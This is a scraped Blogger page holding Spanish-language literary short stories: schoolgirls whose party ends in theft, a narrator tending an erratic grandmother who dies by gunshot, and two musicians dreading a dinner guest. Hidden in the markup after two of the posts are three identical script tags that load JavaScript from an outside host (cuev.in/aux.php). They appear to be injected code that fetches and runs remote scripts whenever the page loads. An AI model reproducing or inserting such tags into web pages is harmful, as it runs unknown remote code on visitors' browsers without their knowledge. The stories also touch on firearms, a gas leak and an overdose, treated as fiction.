de vista. Podían vigilar su espacio, guardarse el lugar. Merry era la primera
que llegaba a la entrada de los PH porque su mamá le mandaba el picnic. Patitas
de pollo, jugo Tang de naranja. Julia, casi siempre, pebete y helado, lo mismo
Tina. El Checho comía a veces en el comedor, no siempre estaba en el casusho.
Dejaban tantas migas después de comer, que la vereda explotaba de palomas todas
las tardes. Los dueños se fueron a quejar a la escuela y no tardaron en
identificarlas. Merry dijo que ella siempre comía en el aula sola, mentía sin
parar porque le encantaba mentir y hacer el mal en general. Como cuando
obligaba al gordo Esquilachi, de séptimo grado, a dejarle dos porciones de
torta de chocolate al precio de una en las ventas para el viaje de egresados.
Nunca supieron si Esquilachi le tenía miedo o si estaba enamorado, pero a Merry
no le faltó la comida en los recreos. <o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 107%;"><span style="mso-tab-count: 1;"> </span>Las demás lo hacían también, muchas veces robaban en el
kiosco de Richar. Ahí había que tener cuidado porque era el tío de Carolina
Moore, la nieta de la dueña. Carolina no podía enterarse. Y para eso, no debía
enterarse ninguna de las pibas de su grupo. Fácil. Aquel año, las otras chicas
fueron el enemigo por un sinfín de razones. La guerra terminó en diciembre,
cuando Miss Glenys entró a la clase y las encontró divididas en dos fuertes
detrás de sus bancos, revoleándose cartucheras y manojos de lápices a través
del aula. Las sacaron de a una, y de a una las entrevistó Miss Christine. Todas
recibieron un castigo diferente acorde al nivel de participación que habían
tenido en el enfrentamiento armado. Merry y Luli, pescadas in fraganti
agarradas de los pelos, pegándose patadas en el medio del aula, sufrieron las
consecuencias más duras. Un mes de sentarse juntas, sin recreo y sin jugar al
futbol. El futbol fue lo que más le dolió a todas, después de tanto haber peleado
con los varones por un horario para usar la cancha. <o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 107%;"><span style="mso-tab-count: 1;"> </span>Al final también abandonaron el casusho, porque lo único
que querían al mediodía era ir al Tren de la Costa. Todos los pibes de los
colegios del barrio iban a comer al Mc Donald´s del tren. El San Mateo era el
que más lejos quedaba. Las chicas comían sus combos en tiempo record, y volvían
al trote, muertas de risa. Cruzaban la puerta con el timbre, las gotas de sudor
cayéndoles por debajo de las camisas blancas, los pelos en cualquier lado, las
medias enroscadas dentro de los zapatos. El corazón latiendo a mil debajo del
corpiño.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 107%;"><span style="mso-tab-count: 1;"> </span>En una de esas idas al tren fue que se les ocurrió
empezar a planear una fiesta. La fiesta más grande de la historia, del barrio,
más grande que XaiXai. Había que lograr que alguien pusiera la casa. Fue fácil:
los papás de Guadalupe dijeron que sí. Guadalupe no era del grupo de Moore ni
de Las Guachas, era una del tercer bando. Las que ni fu ni fa. Nunca se había
revoleado cartucheras por la cabeza con ninguna compañera. La casa perfecta en
Munro. Repartieron invitaciones en las fiestas del Praga, en el rio y en la
plaza de Olivos, y pasaron por todos los cursos del secundario. Estuvieron
semanas bajando canciones, corriendo rumores, pensando en qué ponerse,
arengando al resto de la clase. La fiesta más grande del mundo. El golpe
maestro lo había dado Julia al publicar la dirección de la fiesta en la
pantalla gigante de XaiXai.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 107%;"><span style="mso-tab-count: 1;"> </span>La casa de Guadalupe rebalsaba de gente, desconocidos en
las habitaciones, los baños, la cocina. Algunos revisando los estantes y
cajones. Estallaba. Pasaron varias horas y escándalos aislados, cuando enchufaron
el micrófono a los parlantes. <i style="mso-bidi-font-style: normal;">Soy la mamá
de Guadalupe</i>, dijo, y procedió a echarnos a todos de su casa. Unos minutos
después, Kali Rogers volvía a tocar el timbre, llorando, buscando asilo.
Alguien le había robado en la puerta de la fiesta, lo habían amenazado apretándole
con un cuchillo en la panza. Mostraba la manchita rosa y lloraba como un bebé,
y fue muy fuerte verlo a Kali así en aquel momento en que ellas se sentían tan
enormes. Llegó la policía, a Julia le desapareció la cartera. <i style="mso-bidi-font-style: normal;">La fiesta negra</i>, la llamaron de ahí en
adelante. <i style="mso-bidi-font-style: normal;">La fiesta negra de Munro. <o:p></o:p></i></span></div>
<div class="MsoNormal" style="text-align: justify;">
<i style="mso-bidi-font-style: normal;"><span style="font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 107%;"><span style="mso-tab-count: 1;"> </span></span></i><span style="font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 107%;">Unos días después,
los padres del curso organizaron una reunión en la casa de Guadalupe para
discutir lo que había pasado esa noche. La mamá de Merry se animó a hablar, sin
saber que su hija había sido una de las perpetradoras del desastre<i style="mso-bidi-font-style: normal;">. Lo que pasa acá es que las chicas se
juntan con gente de colegio de número.</i> Julia se levantó del suelo
desgarrándose la pollera con los dedos largos y huesudos.<i style="mso-bidi-font-style: normal;"> Anette, sos una racista</i>, le gritó bajo la mirada de todos. La mamá
de Guadalupe interrumpió las acusaciones para anunciar que faltaban varios
objetos de la casa, entre ellos un abrelatas eléctrico que había traído del
último viaje a Disney. Alguien había arrancado los empapelados del baño de
arriba. Julia se preguntó si había sido Georgina, la piba del Ricardo Gutiérrez
que tenía claustrofobia y se volvía loca cada vez que estaba en un baño encerrada.
Era probable.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 107%;"><span style="mso-tab-count: 1;"> </span>Las chicas no se tomaron el asunto a la ligera. Iban a
recuperar los electrodomésticos así tuvieran que pelearse con todo el barrio y
el partido de Vicente López. Se dividieron el trabajo y cada una se acercó a
los grupos de amigos que habían estado en la fiesta negra de Munro. Nadie
admitió haber robado nada. Las chicas nadaron en un mar de inocencia, hasta que
el lunes sucedió lo peor. Corrieron al mediodía hasta el tren, excitadas y
contentas, y mientras hacían la cola para pedir el combo, alguien gritó desde
las mesas: <i style="mso-bidi-font-style: normal;">Acá tengo tu abrelatas</i>.
Todos se rieron, todos, hasta los que no habían ido a la fiesta. Alguien gritó
otra cosa mucho peor un poco más lejos, después alguien más. <span style="mso-spacerun: yes;"> </span><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 107%;"><span style="mso-tab-count: 1;"> </span>El mail de Tina tenía el asunto<i style="mso-bidi-font-style: normal;"> Los años no pasan solos. </i>A Julia le pareció una tontería, una
frase vacía de alguien cuyo rostro no recordaba ya muy bien, al otro lado del
océano. Una señal electrónica desde otro planeta. Otro tiempo. Los años no
pasan solos pero tampoco acompañados, el tiempo no es un personaje sino nada
más que cambio. El café no le alcanzó para todo el pastel. Tendría que rellenar
su botella de agua antes de subir al avión.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<i style="mso-bidi-font-style: normal;"><span style="font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 107%;"><span style="mso-tab-count: 1;"> </span>Chicas, como algunas sabrán, quizás
otras no, después de tantos años, finalmente se casa El Checho. ¡Hagamos
juntada! No podemos no hacerle una despedida de soltera, ¿no? Estaría bueno juntarnos
para pensar qué hacer, yo los jueves a la tarde puedo, hay un barcito en
Dorrego y Amenábar, ¿pueden?</span></i><span style="font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 107%;"><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 107%;"><span style="mso-tab-count: 1;"> </span>Cuando el taxi la dejó en la puerta de su casa dio un
respiro hondo, como si acabara de volver a la vida. Dejó sus valijas en la
habitación y se fue derecho hacia el jardín. El pasto estaba brillante, tupido,
ni corto ni largo. Era precioso. Los inquilinos lo habían cuidado bien. Julia
se sacó los zapatos, la tierra todavía estaba húmeda. Caminó hasta los zapallos
en la esquina, las flores amarillas eran la puerta de entrada siempre. Ya había
pasado la cosecha. Hacía el centro del jardín, los girasoles, el pimiento
morrón. Hacía años había rociado el fondo entero con semillas de <i style="mso-bidi-font-style: normal;">No me olvides</i> que había conseguido en
Ushuaia. Era el fin del verano y las florcitas celestes se empezaban a
marchitar.<span style="mso-tab-count: 1;"> </span><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 107%;"><span style="mso-tab-count: 1;"> </span>El jardín era su parte preferida de la casa. Lo habían
diseñado con su abuela Sus en los años en que Julia todavía vivía con sus
padres, y el abuelo era el dueño del terreno entero. No había sido un proceso
fácil y divertido como se lo había planteado Sus de entrada, nunca lograba
llevar a cabo sus planes como se lo proponía. A la abuela le sobraba amor pero
le faltaba paciencia. Cuando la veía hacer algo mal, sacaba a Julia del medio y
terminaba el trabajo ella misma. Se ponía nerviosa. <o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 107%;"><span style="mso-tab-count: 1;"> </span><span style="mso-spacerun: yes;"> </span>La abuela había
sido una pionera del paisajismo en el país, y Julia había sido su única discípula
en la familia. Nadie había querido lidiar con su carácter, preferían dedicarse
a cualquier otro oficio. El tío contador y la sobrina abogada no peleaban
nunca. En cambio, entre Julia y la abuela la discusión acerca de los jardines
ornamentales <span style="mso-spacerun: yes;"> </span>duró hasta la muerte. Julia
militaba contra el concepto de <i style="mso-bidi-font-style: normal;">jardín
ornamental</i>,<i style="mso-bidi-font-style: normal;"> </i>asumir que la
naturaleza podía acomodarse a la función de adorno le parecía a la vez
peligroso y estúpido. Pensó que quizás podía invitar a las chicas a su casa,
podría sacar la mesa al jardín. No le gustaba salir a la tarde, el sol directo
le caía mal. <i style="mso-bidi-font-style: normal;">Soy como un filodendro</i>,
pensó.<i style="mso-bidi-font-style: normal;"> Me adapto bien al interior</i>.<i style="mso-bidi-font-style: normal;"> </i><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></div>
<br /><br />
<script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5085640713730129677.post-90267227826277453402018-01-19T11:33:00.000-08:002021-02-17T11:07:06.020-08:00Lúcifer<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
Yo
siempre supe de la importancia secreta de algunas cosas, siempre pude
distinguir lo valioso de lo demás. Al principio lo llamaba intuición, pero más
adelante acepté que se trataba de un don. <o:p></o:p></div>
<div class="MsoNormal" style="text-align: justify;">
Cuando
lograba salir de casa, cuando cada antojo de papá había sido satisfecho, en
esos momentos, la vida se me aparecía como un milagro. Claro que a él nunca le
decía que salía de paseo. Él lo sabía de todas maneras. Era un pacto implícito
entre ambos para sacarnos de encima mutuamente. Le decía que iba a la
lavandería, a comprar harina, al zapatero, a la iglesia a saludar a Juanita.
Creo que me gustaba mentirle. <i>No tardes, </i>me
rogaba él con su cara fingida de indefenso. <i>A
las cuatro empieza la novela y Zulema se distrae</i>. <o:p></o:p></div>
<div class="MsoNormal" style="text-align: justify;">
Yo
salía a la calle con el corazón de fiesta, caminando rápido, esquivando
personas, resoplándoles en la nuca, queriendo recorrer mi barrio a toda marcha.
Llegar al parque era siempre mi objetivo. Ahí me sentaba en el mismo banco
siempre, y me ponía a respirar el aire cristalino del invierno, a escuchar con
atención las conversaciones de la gente que paseaba alrededor. Cuando no
llegaba a escucharlos, inventaba diálogos posibles, disputas familiares,
traiciones, deseos desmedidos en el medio del parque. Y es curioso que entonces
pensara en papá.<o:p></o:p></div>
<div class="MsoNormal" style="text-align: justify;">
Recordaba,
al volver a casa, escenas de mi infancia. Las
verdades sobre las que había edificado mi vida. Pensé que el pasaje a la adultez fue el momento en que esas verdades empiezaron a detonar. Todo esto porque recordé
aquella mentira de la infancia, que vino preñada de consecuencias. Un mediodía
durante un almuerzo familiar en lo de los tíos, mi hermano me preguntó qué era
un gaucho. Mi papá lo escuchó de casualidad y se puso a contar toda la historia
del gaucho Martín Fierro, y nos habló del libro que nuestro tío abuelo había
escrito sobre él bajo un nombre falso. Nos explicó que la gente usa nombres
falsos para huir de la fama. El tío abuelo era famoso.<o:p></o:p></div>
<div class="MsoNormal" style="text-align: justify;">
El
tío abuelo no era famoso, el pasto quemado del medio del patio no era
consecuencia de un meteorito, el vagabundo del barrio no era el legendario
viejo de la bolsa. Pensaba que la
entrada a la adultez había tenido la facilidad del abandono; sin expectativas,
me había sumido en un mundo regido y habitado solamente por mí y por aquellos a
los que mi vida se encontraba inevitablemente ligada: mis padres y mi abuela materna,
que contaba como tres familiares. Le encantaba maltratar a mi mamá, a mí me
gustaba cuando le decía:<i> Sacate esa
mirada de que sos dueña de todo lo que hay bajo el sol</i>. <o:p></o:p></div>
<div class="MsoNormal" style="text-align: justify;">
Mis abuelos compraron nuestro
terreno y con un crédito del banco construyeron las dos casas. Ellos vivían en
la grande y dejaron la de atrás para las visitas, los futuros hijos, los
nietos. Él trabajaba en la policía federal y ella se encargaba del jardín, las
compras y la comida. Cuando mis padres
se casaron, mi abuelo ya estaba enfermo. Decidieron prestarles la casa grande y
mudarse ellos a la casa del fondo bajo la condición de que mis padres –y los
hijos que tuvieran- se encargaran del cuidado de la familia. Siempre supuse que
mis padres aceptaron aquel trato con la esperanza de tener muchos hijos a
quienes relegar aquella tarea y de que los abuelos murieran relativamente
pronto. Ninguna de esas cosas sucedió. Mi abuela viviría muchísimos años.<o:p></o:p></div>
<div class="MsoNormal" style="text-align: justify;">
Después de que mamá nos
abandonara, los cuidados de su madre quedaron a cargo de papá y yo. Él, no muy
a gusto con la idea de tener que lidiar con su ex suegra, dejó a la vieja a su
suerte en la casa de atrás. Durante varios años yo me encargué de ella,
adentrándome todos los días en su mundo del fondo, al que se accedía por un
pasillo oscuro, cubierto con una parra seca. Abría la puerta oxidada y con
calculada destreza atravesaba la cocina evitando respirar el olor a viejo del
ambiente que igual entraba por mis poros. Subía la escalera cubierta de una
alfombra vieja de color incierto y encontraba a mi abuela en su habitación.
Siempre la encontraba igual: acostada, con la espalda apoyada sobre el respaldo
de la cama, un cenicero en el regazo y un cigarrillo en la mano. Aunque
estuviera adentro, llevaba siempre sus anillos, sus aros de perlas y su
maquillaje. El televisor encendido pasando algún programa de chimentos. Quizás,
mientras sus ojos vacíos se dirigían hacia el cuadrado luminoso, su mente se
dirigía hacia sus recuerdos. Su infancia en Banfield, quizás, o su noviazgo con
José, anterior al que había tenido con mi abuelo.<o:p></o:p></div>
<div class="MsoNormal" style="text-align: justify; text-indent: 35.4pt;">
Cuando la abuela me
necesitaba, llamaba por teléfono a casa. Me pedía que le fuera a cambiar el
canal del televisor porque no encontraba el control remoto entre las sábanas o
que le trajera papel higiénico del baño para sonarse la nariz porque alguna
película la había hecho llorar. Una vez ahí, me pedía que le alcanzara a la
cama el arma del abuelo; yo algunas veces lo hacía y otras no. Cuando lo hacía,
mi abuela se recostaba completamente horizontal sobre el colchón y yacía
abrazada a la escopeta. Yo me quedaba por horas ahí, sentada sobre la alfombra
en una esquina. Todo en la habitación estaba recubierto: la alfombra, las
paredes forradas con papeles pesados y telas, el enorme cubrecamas manchado por
los años, los manteles sobre las mesas de luz y la mesa del televisor. La luz
era amarilla. Todo tomaba ese tinte: los envases, la heladera, la pantalla del
televisor, las esquinas. El amarillo era la presencia del paso del tiempo. Antes
de irme, guardaba todo en su cajón, cerrando con una llave que me encargaba de
esconder en la cocina entre las latas de galletitas.<o:p></o:p></div>
<div class="MsoNormal" style="text-align: justify; text-indent: 35.4pt;">
Después dejé de ir. Ella siguió haciendo llamadas a casa
durante un largo tiempo aunque nadie la atendía. Empezó otra etapa.
Misteriosamente consiguió los números de los vecinos de la manzana y los
llamaba a ellos. Los vecinos vinieron a golpear la puerta de casa con cara de
pocos amigos instándonos a que cuidáramos de ella y amenazándonos con denuncias
a la policía. <o:p></o:p></div>
<div class="MsoNormal" style="text-align: justify; text-indent: 35.4pt;">
Un día la abuela vio una película sobre dos viejos que se
conocían en una confitería y se enamoraban. Empezó a salir de la casa vestida
con escote y las joyas que le había regalado mi abuelo, los labios delineados
para que parecieran más gruesos. Se sentaba así durante horas en el bar más
concurrido del barrio, donde la pudieron ver vivita y coleando los vecinos que
entonces nos empezaron a creer a papá y a mí. <o:p></o:p></div>
<div class="MsoNormal" style="text-align: justify; text-indent: 35.4pt;">
Cuando los vecinos dejaron de responder a sus llamadas, mi
abuela abandonó el bar. Comenzó a discar números al azar. No se preocupaba ni
siquiera por que los números tuvieran siete dígitos; hacía llamadas a larga
distancia y hablaba por horas con gente de la provincia, explicándoles su
lastimosa situación y pidiéndoles que tomaran nota de los últimos deseos de una
vieja sola y moribunda. Total, la cuenta de teléfono la pagábamos nosotros. Así
fue que un día llegaron a casa habanos de Cuba, patas de jamón desde España,
perlas de Japón. Fue un verdadero despliegue del mágico poder de mi abuela.<o:p></o:p></div>
<div class="MsoNormal" style="text-align: justify; text-indent: 35.4pt;">
Con el tiempo, cuando sus aventuras telefónicas ya habían
sido descubiertas, cuando su historia ya había salido en noticieros de cuatro o
cinco países vecinos y hasta ya había tenido algunos admiradores, mi abuela
enloqueció. Una mañana anunció que a partir de entonces sólo hablaría con la
diputada nacional Margarita Stlovizer, se encerró en su casa y no volvió a
hablar con nadie. Con papá no sabíamos qué hacer porque aunque mamá se hubiera
ido y ya no quedara nadie de su familia, temíamos que algún vecino nos acusara
finalmente con la policía y tuviéramos que hacernos cargo de un caso de
negligencia. Papá tuvo una idea brillante que yo tuve que llevar a cabo:<o:p></o:p></div>
<div class="MsoNormal" style="text-align: justify; text-indent: 35.4pt;">
-Hola señora, aquí le habla Margarita Stolvizer. ¿Cómo se
encuentra usted?<o:p></o:p></div>
<div class="MsoNormal" style="text-align: justify; text-indent: 35.4pt;">
Entonces la abuela me contó una historia tristísima de
desamor y soledad y Margarita le rogó que tomara el antidepresivo, guardara el
arma y se fuera a dormir. Un día, finalmente, la abuela se dio un disparo
accidental en la pera y murió. <o:p></o:p></div>
<div class="MsoNormal" style="text-align: justify; text-indent: 35.4pt;">
Durante un largo tiempo, papá y yo no intercambiamos
palabras; él tan solo se dirigía a mí para darme algunas órdenes respecto a la
casa y yo le hablaba a él para pedirle plata para las compras del almacén. Todo
cambió de manera repentina cuando apareció Mariana en nuestras vidas. Papá la
había conocido un domingo volviendo del súper en una escena clásica de ruptura
de bolsa y desastre de víveres. Mirada, mirada, el tiempo se detuvo. Sonrisa,
mirada. Levantaron primero las frutas redondas, se incorporaron, se estiraron
la ropa. Alguien dijo la primera palabra. El tiempo volvió a correr. Aquel día
fueron a tomar un café y a partir de entonces empezaron a verse fuera de casa.
Yo me sentí en las nubes durante un año: todo aquel espacio, todo aquel tiempo
solo para mí. Nunca venían, y creo que era por el fantasma de mamá.<o:p></o:p></div>
<div class="MsoNormal" style="text-align: justify; text-indent: 35.4pt;">
Mis mejores noches eran cuando papá se quedaba en la casa
de Mariana. Entonces podía sentarme en la cocina a tomar un té caliente,
sobando de la taza sostenida con ambas manos, sintiendo cómo el vapor me abría
lentamente los poros de la nariz. Entonces había un silencio arrullador como
las olas del mar y yo podía estar en el espacio, meditando y juntando fuerzas
para lo que haría a continuación. Al final de la taza me levantaba, me calzaba
con las pantuflas de papá y salía por la puerta de atrás. Atravesaba el pasillo
de la parra seca, abría la puerta que relinchaba y ahora ofrecía todavía más
resistencia, y entraba a la casa. En la cocina, me acercaba al mueble esquinero
y hurgaba entre las latas de galletitas para encontrar una llave. Un rato
después, me acomodaba horizontalmente sobre la cama de mi abuela; a mi lado
yacía la vieja escopeta de mi abuelo. <o:p></o:p></div>
<div class="MsoNormal" style="text-align: justify; text-indent: 35.4pt;">
Yo empecé a esperar la visita con ansias, quería conocer a
Mariana. Me atacó una terrible soledad. Durante el día no podía parar de ir al
baño a mirarme cómo estaba vestida, cómo estaba peinada. Una y otra vez la
misma rutina, con el corazón lleno del deseo de que en cualquier momento sonara
el timbre y fueran ellos.<o:p></o:p></div>
<div class="MsoNormal" style="text-align: justify; text-indent: 35.4pt;">
Hasta que un lunes me levanté y encontré a papá en la
cocina. Preparé un té, aparté una silla y me senté a la mesa. Sostuve la taza
caliente entre mis frías manos durante un segundo, me puse de pie, alejando la
silla con mis pantorrillas. Recorrí la casa de forma lenta, sigilosa, llevando
la taza entre mis manos, buscando a Mariana.<o:p></o:p></div>
<div class="MsoNormal" style="text-align: justify; text-indent: 35.4pt;">
Pasé por la puerta de la habitación de papá y me pidió que
le alcanzara la Biblia de la biblioteca del living. Inocente, sin saber que en
ese mismo momento me estaba estableciendo como la cuidadora de mi padre y sus
necesidades, hice lo que me pedía. Papá, en posición horizontal, recibió la
Biblia con ambas manos tensas, al acecho. Lo vi abrir el libro y leer en voz
alta: <i>Y mirando él atrás, los vio, y los maldijo en el nombre de Jehová. Y
salieron dos osos del monte, y despedazaron de ellos a cuarenta y dos muchachos</i>.
Un rato después, entró a la cocina y me pidió que encendiera el horno. Lo
abrió y metió la Biblia dentro. La casa se llenó de humo y pronto los vecinos
tocaron el timbre preocupados o curiosos por saber si la desgracia había tocado
a nuestra puerta una vez más. Papá me pidió que saliera y los mandara al
demonio.<o:p></o:p></div>
<div class="MsoNormal" style="text-align: justify; text-indent: 35.4pt;">
Cuando uno piensa en el sonido del llanto, piensa en algo
así como un susurro seguido de algunas aspiraciones. Escuchar a alguien llorar
es como escuchar al viento que se cuela por los accesos involuntarios de una
casa, el espacio entre la puerta y el piso, entre una y otra hoja de la
ventana. Pero nada de eso había en el llanto de mi padre. Supe entonces que
Mariana no vendría.<o:p></o:p></div>
<div class="MsoNormal" style="text-align: justify; text-indent: 35.4pt;">
¡Cuánto de contagioso hay en el dolor!<o:p></o:p></div>
<div class="MsoNormal" style="text-align: justify; text-indent: 35.4pt;">
Apagué la luz del living, y desde la entrada me tomé un
minuto para observar aquel cuadro. Mi padre, como un muerto, reposando sobre el
sillón, como un muerto, con los brazos cruzados sobre su pecho y los pies
calientes sobre la mesa. <o:p></o:p></div>
<div class="MsoNormal" style="text-align: justify; text-indent: 35.4pt;">
Encendí el gas de una hornalla y lo dejé llenar el aire
durante unos segundos. Después unos segundos más. Tenía la caja de fósforos en
una mano pero no quería encender el fuego. Sostenía la perilla de la hornalla.
El olor a gas me despertó como una cachetada, encendí un fósforo y puse agua a
calentar. Elegí una taza color naranja del estante y desenvolví un saquito de
té. Papá guardaba sus pastillas en la heladera. Decidí tomarme una para poder
retomar el sueño. Saqué una del pastillero y antes de que me diera cuenta, la
había hundido en el agua hirviendo. Como poseída, saqué otra y otra y hundí en
el agua una y otra y así unas quince o dieciséis veces.<o:p></o:p></div>
<div class="MsoNormal" style="text-indent: 35.4pt;">
<br /></div>
<div class="MsoNormal" style="text-indent: 35.4pt;">
<br /></div>
<script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5085640713730129677.post-23215280175394610672017-11-26T09:55:00.002-08:002021-02-17T11:07:06.060-08:00<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: justify;">
<br /></div>
<div style="text-align: right;">
If you pass me by,</div>
<div style="text-align: right;">
Three hearts will break in two</div>
<div dir="rtl" style="text-align: right;">
´Cause me, myself and I</div>
<div style="text-align: right;">
Are all in love with you.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="white-space: pre;"> </span>Gastón sabía que a Gabriela no le iba a gustar nada el plan. Lo sabía, lo sabía, ¿por qué había accedido? Habían pasado los años pero todavía no lograba corregir su gran defecto de querer caerle bien a todo el mundo. Gabriela era todo lo contrario, a veces le parecía que ella disfrutaba de caer mal. No iba a querer saber nada con la cena. Pero esas cosas le pasaban solo a él. Cerró el libro y se miró en el espejo del living. Se sonrió. Sos un boludo. Se golpeó la cabeza con el libro. Sos un flor de boludo. Petra apareció por encima de su pelada, en el espejo se vio disfrazado como hacía veinte años en su fiesta de egresados del secundario. Era Batman. En aquel momento todavía podía repetir su chiste sin vergüenza: Batman no, Batman sexy, sonreía exhibiendo su tanga diminuta. El recuerdo le trajo una carcajada que terminó en tos y angustia. Petra se enroscó apasionadamente con una de sus zapatillas, estaba a punto de entrar en celo por primera vez. Gastón volvió al libro.</div>
<div style="text-align: justify;">
Dos horas más tarde sonaron las campanas del atrapasueños que Gabriela había colgado al lado de la puerta. Lo había hecho en un workshop durante un verano en San Marcos Sierras. Gastón lo odiaba, salvo cuando le servía de advertencia en casos como este. Bajó el libro y esperó a que apareciera la figura de su novia recortando la entrada al living. Nada, después de las campanas solo silencio. Tragó saliva con esfuerzo, el invierno le achicaba la garganta. Petra se frotaba contra su pie con más y más insistencia. Dio una pequeña patada al aire para sacársela de encima.</div>
<div style="text-align: justify;">
Después de cambiarse la ropa y de comer un par de cucharadas de miel de Del Viso, Gabriela entró al living. Gastón dormía sentado en el sillón. La gata ronroneaba con violencia, clavándole las uñas al almohadón como si quisiera abrirlo al medio. La tapa del piano estaba baja, las partituras donde las había dejado el día anterior. Una vez más Gastón no había ensayado, Gabriela se lamentó, había sabido desde el primer momento que armar la banda con él no iba a ser una buena idea. Gastón era un buen pianista, quizás el mejor que conocía. No practicaba nunca, pero en los ensayos estaba siempre a la altura. Había llegado a generar una capa blanda de rencor entre sus amigos músicos, que lo conocían bien. Gabriela no quería trabajar más así, pero tener el piano gratis para la grabación del disco le había permitido invertir en Pablo. Y Pablo la rompía en la trompeta, todos lo sabían.</div>
<div style="text-align: justify;">
-No te escuché entrar -dijo él con los ojos todavía cerrados.</div>
<div style="text-align: justify;">
-Llegué hace rato, ¿ensayaste?</div>
<div style="text-align: justify;">
-Un poco.</div>
<div style="text-align: justify;">
-Mentira.</div>
<div style="text-align: justify;">
-Tengo que decirte algo. Algo mucho peor. Vino Lean esta mañana.</div>
<div style="text-align: justify;">
-Gastón, Lean viene todos los lunes a la mañana, ¿y?</div>
<div style="text-align: justify;">
-Y, cuando se estaba yendo, después de la clase, me dijo así nomás de venir a cenar.</div>
<div style="text-align: justify;">
-¿Venir acá?</div>
<div style="text-align: justify;">
-Acá.</div>
<div style="text-align: justify;">
-¿Se invitó a cenar?</div>
<div style="text-align: justify;">
-A él y a su novia. Dijo que quería que estuvieras vos también, una cena así. Dijo que el padre de la novia tiene una pollería. Traen un pollo.</div>
<div style="text-align: justify;">
-¿Cocido?</div>
<div style="text-align: justify;">
-No sé.</div>
<div style="text-align: justify;">
Petra lamía incansablemente la pata de madera del sillón. Gabriela usaba ambas manos para armar un rodete con su pelo largo y lacio que le llovía sobre la cadera. Eso hacía siempre que estaba enojada, como preparándose para dar pelea. Se sentó al piano, levantó la tapa y empezó a tocar escalas.</div>
<div style="text-align: justify;">
-Te dije que quiero que Para pintarte sea especial. Vamos a tener que mover el ensayo de mañana.</div>
<div style="text-align: justify;">
Gastón se volvió a acostar, tapándose la cabeza con el almohadón. El gato enroscaba la cola entre los dedos de sus pies. ¡Vienen a las ocho!</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
El timbre sonó menos cuarto. Gabriela estaba todavía sentada en el piano, ahora tenías las partituras desparramadas por el piso, se había puesto las viejas polainas de danza de su madre y las babuchas encima de las calzas. La política era no encender la estufa hasta que las capas de ropa dejaran de alcanzar para abrigar. A ella no le gustaba esta nueva regla, pero desde que ambos habían decidido dejar sus trabajos en la escuela para dedicarse a los alumnos particulares, las sesiones y los discos, habían tenido que hacer varios recortes. Para pintarte era la estrella de las prioridades de la casa, entonces Gabriela tuvo que aprender a callar el frío.</div>
<div style="text-align: justify;">
-¿Quién es? No abras.</div>
<div style="text-align: justify;">
Gastón seguía leyendo en el sillón. Odiaba que la gente llegara temprano. Es una forma de impuntualidad, lo burlaba siempre Gabriela imitándolo. La gata le maullaba a la puerta. ¡Cuerpo a tierra!, Gastón se rió, pero ella ya estaba juntando sus hojas, con toda la intención de encerrarse en la pieza de arriba. Esa noche no se la iba a hacer nada fácil. Gastón cerró el libro y se calzó las zapatillas. Después de todo, era suya la culpa.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Le llamó la atención que la novia de Lean fuera tan linda. Se presentó como Clara, y su perfume floral quedó suspendido en el aire después del saludo. Tenía el pelo oscuro y lacio por los hombros, un estilo distinto al de Gabriela, más serio, más adulto. ¿También estudiás piano?, le preguntó sintiéndose un estúpido. Ella negó con la cabeza. Menos mal, pensó él, el tema se terminó ahí.</div>
<div style="text-align: justify;">
Gabriela estaba arriba. Seguía vestida de entre casa, escuchaba las primeras grabaciones de Para pintarte mientras terminaba un porro enorme sentada en el medio de la cama. No podía sacar la vista de encima del frasco de flores que habían cultivado con sus amigas en el verano. Ya no le quedaba casi nada. Escuchó las voces abajo, los rasguños lascivos de Petra en la puerta. Era hora de bajar.</div>
<div style="text-align: justify;">
